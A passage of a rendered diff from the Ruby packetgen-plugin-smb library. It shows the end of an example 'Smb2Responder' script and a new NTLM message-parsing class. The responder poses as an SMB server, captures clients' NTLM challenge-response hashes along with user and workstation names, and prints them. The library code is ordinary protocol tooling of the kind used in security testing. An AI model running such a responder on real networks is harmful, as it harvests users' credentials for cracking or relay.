                    pkt_to_send = case rcv_pkt.headers.last.protocol_name
         
     | 
| 
      
 187 
     | 
    
         
            +
                                  when 'SMB::Negotiate::Request'
         
     | 
| 
      
 188 
     | 
    
         
            +
                                    unless rcv_pkt.smb_negotiate_request.dialects.map(&:to_human).include?('SMB 2.???')
         
     | 
| 
      
 189 
     | 
    
         
            +
                                      to_close = true
         
     | 
| 
      
 190 
     | 
    
         
            +
                                      nil
         
     | 
| 
      
 191 
     | 
    
         
            +
                                    end
         
     | 
| 
      
 192 
     | 
    
         
            +
             
     | 
| 
      
 193 
     | 
    
         
            +
                                    first_nego_response
         
     | 
| 
      
 194 
     | 
    
         
            +
             
     | 
| 
      
 195 
     | 
    
         
            +
                                  when 'SMB2::Negotiate::Request'
         
     | 
| 
      
 196 
     | 
    
         
            +
                                    second_nego_response rcv_pkt
         
     | 
| 
      
 197 
     | 
    
         
            +
             
     | 
| 
      
 198 
     | 
    
         
            +
                                  when 'SMB2::SessionSetup::Request'
         
     | 
| 
      
 199 
     | 
    
         
            +
                                    gssapi = rcv_pkt.smb2_sessionsetup_request.buffer
         
     | 
| 
      
 200 
     | 
    
         
            +
                                    if gssapi[:token_init][:mech_types].value.map(&:value).include?(NTLMSSP_OID)
         
     | 
| 
      
 201 
     | 
    
         
            +
                                      pkt, challenge = first_session_setup_response(rcv_pkt)
         
     | 
| 
      
 202 
     | 
    
         
            +
                                      credentials.challenge = binary2hex(challenge)
         
     | 
| 
      
 203 
     | 
    
         
            +
                                      pkt
         
     | 
| 
      
 204 
     | 
    
         
            +
                                    else
         
     | 
| 
      
 205 
     | 
    
         
            +
                                      response = PacketGen::Plugin::NTLM.read(gssapi[:token_resp][:response].value)
         
     | 
| 
      
 206 
     | 
    
         
            +
                                      if response.is_a?(PacketGen::Plugin::NTLM::Authenticate)
         
     | 
| 
      
 207 
     | 
    
         
            +
                                        credentials.proof = binary2hex(response.nt_response.response)
         
     | 
| 
      
 208 
     | 
    
         
            +
                                        credentials.user = response.user_name
         
     | 
| 
      
 209 
     | 
    
         
            +
                                        credentials.computer = response.workstation
         
     | 
| 
      
 210 
     | 
    
         
            +
                                        credentials.response = binary2hex(response.nt_response.to_s[response.nt_response[:response].sz..-5])
         
     | 
| 
      
 211 
     | 
    
         
            +
                                        to_close = true
         
     | 
| 
      
 212 
     | 
    
         
            +
                                        deny_access rcv_pkt
         
     | 
| 
      
 213 
     | 
    
         
            +
                                      else
         
     | 
| 
      
 214 
     | 
    
         
            +
                                        to_close = true
         
     | 
| 
      
 215 
     | 
    
         
            +
                                        nil
         
     | 
| 
      
 216 
     | 
    
         
            +
                                      end
         
     | 
| 
      
 217 
     | 
    
         
            +
                                    end
         
     | 
| 
      
 218 
     | 
    
         
            +
                                  end
         
     | 
| 
      
 219 
     | 
    
         
            +
             
     | 
| 
      
 220 
     | 
    
         
            +
                    client.send(pkt_to_send.to_s, 0) if pkt_to_send
         
     | 
| 
      
 221 
     | 
    
         
            +
                    client.close if to_close
         
     | 
| 
      
 222 
     | 
    
         
            +
             
     | 
| 
      
 223 
     | 
    
         
            +
                    puts credentials.to_s unless credentials.response.nil?
         
     | 
| 
      
 224 
     | 
    
         
            +
                  end
         
     | 
| 
      
 225 
     | 
    
         
            +
                end
         
     | 
| 
      
 226 
     | 
    
         
            +
              end
         
     | 
| 
      
 227 
     | 
    
         
            +
             
     | 
| 
      
 228 
     | 
    
         
            +
              def binary2hex(str)
         
     | 
| 
      
 229 
     | 
    
         
            +
                str.unpack('H*').first
         
     | 
| 
      
 230 
     | 
    
         
            +
              end
         
     | 
| 
      
 231 
     | 
    
         
            +
            end
         
     | 
| 
      
 232 
     | 
    
         
            +
             
     | 
| 
      
 233 
     | 
    
         
            +
            Smb2Responder.new.start(bind_addr: BIND_ADDR)
         
     | 
    
        data/lib/packetgen-plugin-smb.rb
    CHANGED
    
    
| 
         @@ -101,7 +101,7 @@ module PacketGen::Plugin 
     | 
|
| 
       101 
101 
     | 
    
         
             
                                 model(:token_resp, NegTokenResp)]
         
     | 
| 
       102 
102 
     | 
    
         | 
| 
       103 
103 
     | 
    
         
             
                # @param [Hash] args
         
     | 
| 
       104 
     | 
    
         
            -
                # @ 
     | 
| 
      
 104 
     | 
    
         
            +
                # @option args [Symbol] :token +:init+ or +:response+ to force selection of
         
     | 
| 
       105 
105 
     | 
    
         
             
                #  token CHOICE.
         
     | 
| 
       106 
106 
     | 
    
         
             
                def initialize(args={})
         
     | 
| 
       107 
107 
     | 
    
         
             
                  token = args.delete(:token)
         
     | 
| 
         @@ -0,0 +1,211 @@ 
     | 
|
| 
      
 1 
     | 
    
         
            +
            # This file is part of packetgen-plugin-smb.
         
     | 
| 
      
 2 
     | 
    
         
            +
            # See https://github.com/sdaubert/packetgen-plugin-smb for more informations
         
     | 
| 
      
 3 
     | 
    
         
            +
            # Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
         
     | 
| 
      
 4 
     | 
    
         
            +
            # This program is published under MIT license.
         
     | 
| 
      
 5 
     | 
    
         
            +
             
     | 
| 
      
 6 
     | 
    
         
            +
            # frozen_string_literal: true
         
     | 
| 
      
 7 
     | 
    
         
            +
             
     | 
| 
      
 8 
     | 
    
         
            +
            module PacketGen::Plugin
         
     | 
| 
      
 9 
     | 
    
         
            +
              # Base class for NTLM authentication protocol.
         
     | 
| 
      
 10 
     | 
    
         
            +
              # @author Sylvain Daubert
         
     | 
| 
      
 11 
     | 
    
         
            +
              class NTLM < PacketGen::Types::Fields
         
     | 
| 
      
 12 
     | 
    
         
            +
                # NTLM message types
         
     | 
| 
      
 13 
     | 
    
         
            +
                TYPES = {
         
     | 
| 
      
 14 
     | 
    
         
            +
                  'negotiate' => 1,
         
     | 
| 
      
 15 
     | 
    
         
            +
                  'challenge' => 2,
         
     | 
| 
      
 16 
     | 
    
         
            +
                  'authenticate' => 3
         
     | 
| 
      
 17 
     | 
    
         
            +
                }.freeze
         
     | 
| 
      
 18 
     | 
    
         
            +
             
     | 
| 
      
 19 
     | 
    
         
            +
                # NTLM signature
         
     | 
| 
      
 20 
     | 
    
         
            +
                SIGNATURE = "NTLMSSP\0"
         
     | 
| 
      
 21 
     | 
    
         
            +
             
     | 
| 
      
 22 
     | 
    
         
            +
                # void version
         
     | 
| 
      
 23 
     | 
    
         
            +
                VOID_VERSION = [0].pack('q').freeze
         
     | 
| 
      
 24 
     | 
    
         
            +
                VOID_CHALLENGE = VOID_VERSION
         
     | 
| 
      
 25 
     | 
    
         
            +
             
     | 
| 
      
 26 
     | 
    
         
            +
                # @!attribute signature
         
     | 
| 
      
 27 
     | 
    
         
            +
                #  8-byte NTLM signature
         
     | 
| 
      
 28 
     | 
    
         
            +
                #  @return [String]
         
     | 
| 
      
 29 
     | 
    
         
            +
                define_field :signature, PacketGen::Types::String, static_length: 8, default: SIGNATURE
         
     | 
| 
      
 30 
     | 
    
         
            +
                # @!attribute type
         
     | 
| 
      
 31 
     | 
    
         
            +
                #  4-byte message type
         
     | 
| 
      
 32 
     | 
    
         
            +
                #  @return [Integer]
         
     | 
| 
      
 33 
     | 
    
         
            +
                define_field :type, PacketGen::Types::Int32leEnum, enum: TYPES
         
     | 
| 
      
 34 
     | 
    
         
            +
                # @!attribute payload
         
     | 
| 
      
 35 
     | 
    
         
            +
                #  @return [String]
         
     | 
| 
      
 36 
     | 
    
         
            +
                define_field :payload, PacketGen::Types::String
         
     | 
| 
      
 37 
     | 
    
         
            +
             
     | 
| 
      
 38 
     | 
    
         
            +
                class <<self
         
     | 
| 
      
 39 
     | 
    
         
            +
                  # @api private
         
     | 
| 
      
 40 
     | 
    
         
            +
                  # Return fields defined in payload one.
         
     | 
| 
      
 41 
     | 
    
         
            +
                  # @return [Hash]
         
     | 
| 
      
 42 
     | 
    
         
            +
                  attr_accessor :payload_fields
         
     | 
| 
      
 43 
     | 
    
         
            +
             
     | 
| 
      
 44 
     | 
    
         
            +
                  # Create a NTLM object from a binary string
         
     | 
| 
      
 45 
     | 
    
         
            +
                  # @param [String] str
         
     | 
| 
      
 46 
     | 
    
         
            +
                  # @return [NTLM]
         
     | 
| 
      
 47 
     | 
    
         
            +
                  def read(str)
         
     | 
| 
      
 48 
     | 
    
         
            +
                    ntlm = self.new.read(str)
         
     | 
| 
      
 49 
     | 
    
         
            +
                    type = TYPES.key(ntlm.type)
         
     | 
| 
      
 50 
     | 
    
         
            +
                    return ntlm if type.nil?
         
     | 
| 
      
 51 
     | 
    
         
            +
             
     | 
| 
      
 52 
     | 
    
         
            +
                    klass = NTLM.const_get(type.capitalize)
         
     | 
| 
      
 53 
     | 
    
         
            +
                    klass.new.read(str)
         
     | 
| 
      
 54 
     | 
    
         
            +
                  end
         
     | 
| 
      
 55 
     | 
    
         
            +
             
     | 
| 
      
 56 
     | 
    
         
            +
                  # Define a flags field.
         
     | 
| 
      
 57 
     | 
    
         
            +
                  # @return [void]
         
     | 
| 
      
 58 
     | 
    
         
            +
                  def define_negotiate_flags
         
     | 
| 
      
 59 
     | 
    
         
            +
                    define_field_before :payload, :flags, PacketGen::Types::Int32le
         
     | 
| 
      
 60 
     | 
    
         
            +
                    define_bit_fields_on :flags, :flags_w, :flags_v, :flags_u, :flags_r13, 3,
         
     | 
| 
      
 61 
     | 
    
         
            +
                                         :flags_t, :flags_r4, :flags_s, :flags_r,
         
     | 
| 
      
 62 
     | 
    
         
            +
                                         :flags_r5, :flags_q, :flags_p, :flags_r6,
         
     | 
| 
      
 63 
     | 
    
         
            +
                                         :flags_o, :flags_n, :flags_m, :flags_r7,
         
     | 
| 
      
 64 
     | 
    
         
            +
                                         :flags_l, :flags_k, :flags_j, :flags_r8,
         
     | 
| 
      
 65 
     | 
    
         
            +
                                         :flags_h, :flags_r9, :flags_g, :flags_f,
         
     | 
| 
      
 66 
     | 
    
         
            +
                                         :flags_e, :flags_d, :flags_r10, :flags_c,
         
     | 
| 
      
 67 
     | 
    
         
            +
                                         :flags_b, :flags_a
         
     | 
| 
      
 68 
     | 
    
         
            +
                    alias_method :nego56?, :flags_w?
         
     | 
| 
      
 69 
     | 
    
         
            +
                    alias_method :key_exch?, :flags_v?
         
     | 
| 
      
 70 
     | 
    
         
            +
                    alias_method :nego128?, :flags_u?
         
     | 
| 
      
 71 
     | 
    
         
            +
                    alias_method :version?, :flags_t?
         
     | 
| 
      
 72 
     | 
    
         
            +
                    alias_method :target_info?, :flags_s?
         
     | 
| 
      
 73 
     | 
    
         
            +
                    alias_method :non_nt_session_key?, :flags_r?
         
     | 
| 
      
 74 
     | 
    
         
            +
                    alias_method :identify?, :flags_q?
         
     | 
| 
      
 75 
     | 
    
         
            +
                    alias_method :ext_session_security?, :flags_p?
         
     | 
| 
      
 76 
     | 
    
         
            +
                    alias_method :target_type_server?, :flags_o?
         
     | 
| 
      
 77 
     | 
    
         
            +
                    alias_method :target_type_domain?, :flags_n?
         
     | 
| 
      
 78 
     | 
    
         
            +
                    alias_method :always_sign?, :flags_m?
         
     | 
| 
      
 79 
     | 
    
         
            +
                    alias_method :oem_workstation_supplied?, :flags_l?
         
     | 
| 
      
 80 
     | 
    
         
            +
                    alias_method :oem_domain_supplied?, :flags_k?
         
     | 
| 
      
 81 
     | 
    
         
            +
                    alias_method :anonymous?, :flags_j?
         
     | 
| 
      
 82 
     | 
    
         
            +
                    alias_method :ntlm?, :flags_h?
         
     | 
| 
      
 83 
     | 
    
         
            +
                    alias_method :lm_key?, :flags_g?
         
     | 
| 
      
 84 
     | 
    
         
            +
                    alias_method :datagram?, :flags_f?
         
     | 
| 
      
 85 
     | 
    
         
            +
                    alias_method :seal?, :flags_e?
         
     | 
| 
      
 86 
     | 
    
         
            +
                    alias_method :sign?, :flags_d?
         
     | 
| 
      
 87 
     | 
    
         
            +
                    alias_method :request_target?, :flags_c?
         
     | 
| 
      
 88 
     | 
    
         
            +
                    alias_method :oem?, :flags_b?
         
     | 
| 
      
 89 
     | 
    
         
            +
                    alias_method :unicode?, :flags_a?
         
     | 
| 
      
 90 
     | 
    
         
            +
                    alias_method :old_flags_a=, :flags_a=
         
     | 
| 
      
 91 
     | 
    
         
            +
                    alias_method :old_flags=, :flags=
         
     | 
| 
      
 92 
     | 
    
         
            +
             
     | 
| 
      
 93 
     | 
    
         
            +
                    class_eval do
         
     | 
| 
      
 94 
     | 
    
         
            +
                      def flags_a=(value)
         
     | 
| 
      
 95 
     | 
    
         
            +
                        self.old_flags_a = value
         
     | 
| 
      
 96 
     | 
    
         
            +
                        self.class.payload_fields.each do |name, _|
         
     | 
| 
      
 97 
     | 
    
         
            +
                          attr = send(name)
         
     | 
| 
      
 98 
     | 
    
         
            +
                          attr.unicode = value if attr.respond_to?(:unicode=)
         
     | 
| 
      
 99 
     | 
    
         
            +
                        end
         
     | 
| 
      
 100 
     | 
    
         
            +
             
     | 
| 
      
 101 
     | 
    
         
            +
                        value
         
     | 
| 
      
 102 
     | 
    
         
            +
                      end
         
     | 
| 
      
 103 
     | 
    
         
            +
             
     | 
| 
      
 104 
     | 
    
         
            +
                      def flags=(value)
         
     | 
| 
      
 105 
     | 
    
         
            +
                        self.old_flags = value
         
     | 
| 
      
 106 
     | 
    
         
            +
                        self.flags_a = value & 1
         
     | 
| 
      
 107 
     | 
    
         
            +
                      end
         
     | 
| 
      
 108 
     | 
    
         
            +
                    end
         
     | 
| 
      
 109 
     | 
    
         
            +
                  end
         
     | 
| 
      
 110 
     | 
    
         
            +
             
     | 
| 
      
 111 
     | 
    
         
            +
                  # Define a field in payload. Also add +name_len+, +name_maxlen+ and
         
     | 
| 
      
 112 
     | 
    
         
            +
                  # +name_offset+ fields.
         
     | 
| 
      
 113 
     | 
    
         
            +
                  # @param [Symbol] name name of field.
         
     | 
| 
      
 114 
     | 
    
         
            +
                  # @param [Class,nil] type type of +name+ field.
         
     | 
| 
      
 115 
     | 
    
         
            +
                  # @param [Hash] options type's options needed at build time
         
     | 
| 
      
 116 
     | 
    
         
            +
                  # @return [void]
         
     | 
| 
      
 117 
     | 
    
         
            +
                  def define_in_payload(name, type=SMB::String, options={})
         
     | 
| 
      
 118 
     | 
    
         
            +
                    @payload_fields ||= {}
         
     | 
| 
      
 119 
     | 
    
         
            +
                    @payload_fields[name] = [type, options]
         
     | 
| 
      
 120 
     | 
    
         
            +
             
     | 
| 
      
 121 
     | 
    
         
            +
                    define_field_before :payload, :"#{name}_len", PacketGen::Types::Int16le
         
     | 
| 
      
 122 
     | 
    
         
            +
                    define_field_before :payload, :"#{name}_maxlen", PacketGen::Types::Int16le
         
     | 
| 
      
 123 
     | 
    
         
            +
                    define_field_before :payload, :"#{name}_offset", PacketGen::Types::Int32le
         
     | 
| 
      
 124 
     | 
    
         
            +
             
     | 
| 
      
 125 
     | 
    
         
            +
                    attr_accessor name
         
     | 
| 
      
 126 
     | 
    
         
            +
                  end
         
     | 
| 
      
 127 
     | 
    
         
            +
                end
         
     | 
| 
      
 128 
     | 
    
         
            +
             
     | 
| 
      
 129 
     | 
    
         
            +
                # @abstract This method is meaningful for {NTLM} subclasses only.
         
     | 
| 
      
 130 
     | 
    
         
            +
                def initialize(options={})
         
     | 
| 
      
 131 
     | 
    
         
            +
                  super
         
     | 
| 
      
 132 
     | 
    
         
            +
                  return if self.class.payload_fields.nil?
         
     | 
| 
      
 133 
     | 
    
         
            +
             
     | 
| 
      
 134 
     | 
    
         
            +
                  self.class.payload_fields.each do |name, type_and_opt|
         
     | 
| 
      
 135 
     | 
    
         
            +
                    type, options = type_and_opt
         
     | 
| 
      
 136 
     | 
    
         
            +
                    content = if type.new.respond_to?(:unicode?)
         
     | 
| 
      
 137 
     | 
    
         
            +
                                type.new(options.merge(unicode: unicode?))
         
     | 
| 
      
 138 
     | 
    
         
            +
                              else
         
     | 
| 
      
 139 
     | 
    
         
            +
                                type.new(options)
         
     | 
| 
      
 140 
     | 
    
         
            +
                              end
         
     | 
| 
      
 141 
     | 
    
         
            +
                    send(:"#{name}=", content)
         
     | 
| 
      
 142 
     | 
    
         
            +
                  end
         
     | 
| 
      
 143 
     | 
    
         
            +
                end
         
     | 
| 
      
 144 
     | 
    
         
            +
             
     | 
| 
      
 145 
     | 
    
         
            +
                # @abstract This class is meaningful for {NTLM} subclasses only.
         
     | 
| 
      
 146 
     | 
    
         
            +
                # Populate object from a binary string
         
     | 
| 
      
 147 
     | 
    
         
            +
                # @param [String] str
         
     | 
| 
      
 148 
     | 
    
         
            +
                # @return [self]
         
     | 
| 
      
 149 
     | 
    
         
            +
                def read(str)
         
     | 
| 
      
 150 
     | 
    
         
            +
                  super
         
     | 
| 
      
 151 
     | 
    
         
            +
                  return self if self.class.payload_fields.nil?
         
     | 
| 
      
 152 
     | 
    
         
            +
             
     | 
| 
      
 153 
     | 
    
         
            +
                  self.class.payload_fields.each do |name, type_and_opt|
         
     | 
| 
      
 154 
     | 
    
         
            +
                    type, options = type_and_opt
         
     | 
| 
      
 155 
     | 
    
         
            +
                    offset_in_payload = send(:"#{name}_offset") - offset_of(:payload)
         
     | 
| 
      
 156 
     | 
    
         
            +
                    length = send(:"#{name}_len")
         
     | 
| 
      
 157 
     | 
    
         
            +
                    content = if type.new.respond_to?(:unicode?)
         
     | 
| 
      
 158 
     | 
    
         
            +
                                type.new(options.merge(unicode: unicode?))
         
     | 
| 
      
 159 
     | 
    
         
            +
                              else
         
     | 
| 
      
 160 
     | 
    
         
            +
                                type.new(options)
         
     | 
| 
      
 161 
     | 
    
         
            +
                              end
         
     | 
| 
      
 162 
     | 
    
         
            +
                    content.read(payload[offset_in_payload, length]) if length > 0
         
     | 
| 
      
 163 
     | 
    
         
            +
                    send(:"#{name}=", content)
         
     | 
| 
      
 164 
     | 
    
         
            +
                  end
         
     | 
| 
      
 165 
     | 
    
         
            +
             
     | 
| 
      
 166 
     | 
    
         
            +
                  self
         
     | 
| 
      
 167 
     | 
    
         
            +
                end
         
     | 
| 
      
 168 
     | 
    
         
            +
             
     | 
| 
      
 169 
     | 
    
         
            +
                # @abstract This class is meaningful for {NTLM} subclasses only.
         
     | 
| 
      
 170 
     | 
    
         
            +
                # Calculate and set +len+, +maxlen+ and +offset+ fields defined for
         
     | 
| 
      
 171 
     | 
    
         
            +
                # fields in {#payload}.
         
     | 
| 
      
 172 
     | 
    
         
            +
                # @return [void]
         
     | 
| 
      
 173 
     | 
    
         
            +
                def calc_length
         
     | 
| 
      
 174 
     | 
    
         
            +
                  return self if self.class.payload_fields.nil?
         
     | 
| 
      
 175 
     | 
    
         
            +
             
     | 
| 
      
 176 
     | 
    
         
            +
                  previous_len = 0
         
     | 
| 
      
 177 
     | 
    
         
            +
                  self.class.payload_fields.each do |name, _type_and_opt|
         
     | 
| 
      
 178 
     | 
    
         
            +
                    send(:"#{name}_len=", 0)
         
     | 
| 
      
 179 
     | 
    
         
            +
                    send(:"#{name}_offset=", offset_of(:payload) + previous_len)
         
     | 
| 
      
 180 
     | 
    
         
            +
             
     | 
| 
      
 181 
     | 
    
         
            +
                    field = send(name)
         
     | 
| 
      
 182 
     | 
    
         
            +
                    next unless field && !field.empty?
         
     | 
| 
      
 183 
     | 
    
         
            +
             
     | 
| 
      
 184 
     | 
    
         
            +
                    length = field.respond_to?(:sz) ? field.sz : field.size
         
     | 
| 
      
 185 
     | 
    
         
            +
                    send(:"#{name}_len=", length)
         
     | 
| 
      
 186 
     | 
    
         
            +
                    send(:"#{name}_maxlen=", length)
         
     | 
| 
      
 187 
     | 
    
         
            +
                    previous_len = length
         
     | 
| 
      
 188 
     | 
    
         
            +
                  end
         
     | 
| 
      
 189 
     | 
    
         
            +
                end
         
     | 
| 
      
 190 
     | 
    
         
            +
             
     | 
| 
      
 191 
     | 
    
         
            +
                # @abstract This class is meaningful for {NTLM} subclasses only.
         
     | 
| 
      
 192 
     | 
    
         
            +
                # @return [String]
         
     | 
| 
      
 193 
     | 
    
         
            +
                def to_s
         
     | 
| 
      
 194 
     | 
    
         
            +
                  s = super
         
     | 
| 
      
 195 
     | 
    
         
            +
                  return s if self.class.payload_fields.nil?
         
     | 
| 
      
 196 
     | 
    
         
            +
             
     | 
| 
      
 197 
     | 
    
         
            +
                  self.class.payload_fields.each do |name, _type_and_opt|
         
     | 
| 
      
 198 
     | 
    
         
            +
                    attr = send(name)
         
     | 
| 
      
 199 
     | 
    
         
            +
                    attr.unicode = unicode? if attr.respond_to?(:unicode=)
         
     | 
| 
      
 200 
     | 
    
         
            +
                    s << attr.to_s unless attr.nil? || send("#{name}_len").zero?
         
     | 
| 
      
 201 
     | 
    
         
            +
                  end
         
     | 
| 
      
 202 
     | 
    
         
            +
                  s
         
     | 
| 
      
 203 
     | 
    
         
            +
                end
         
     | 
| 
      
 204 
     | 
    
         
            +
              end
         
     | 
| 
      
 205 
     | 
    
         
            +
            end
         
     | 
| 
      
 206 
     | 
    
         
            +
             
     | 
| 
      
 207 
     | 
    
         
            +
            require_relative 'ntlm/av_pair'
         
     | 
| 
      
 208 
     | 
    
         
            +
            require_relative 'ntlm/ntlmv2_response'
         
     | 
| 
      
 209 
     | 
    
         
            +
            require_relative 'ntlm/negotiate'
         
     | 
| 
      
 210 
     | 
    
         
            +
            require_relative 'ntlm/challenge'
         
     | 
| 
      
 211 
     | 
    
         
            +
            require_relative 'ntlm/authenticate'
         
     |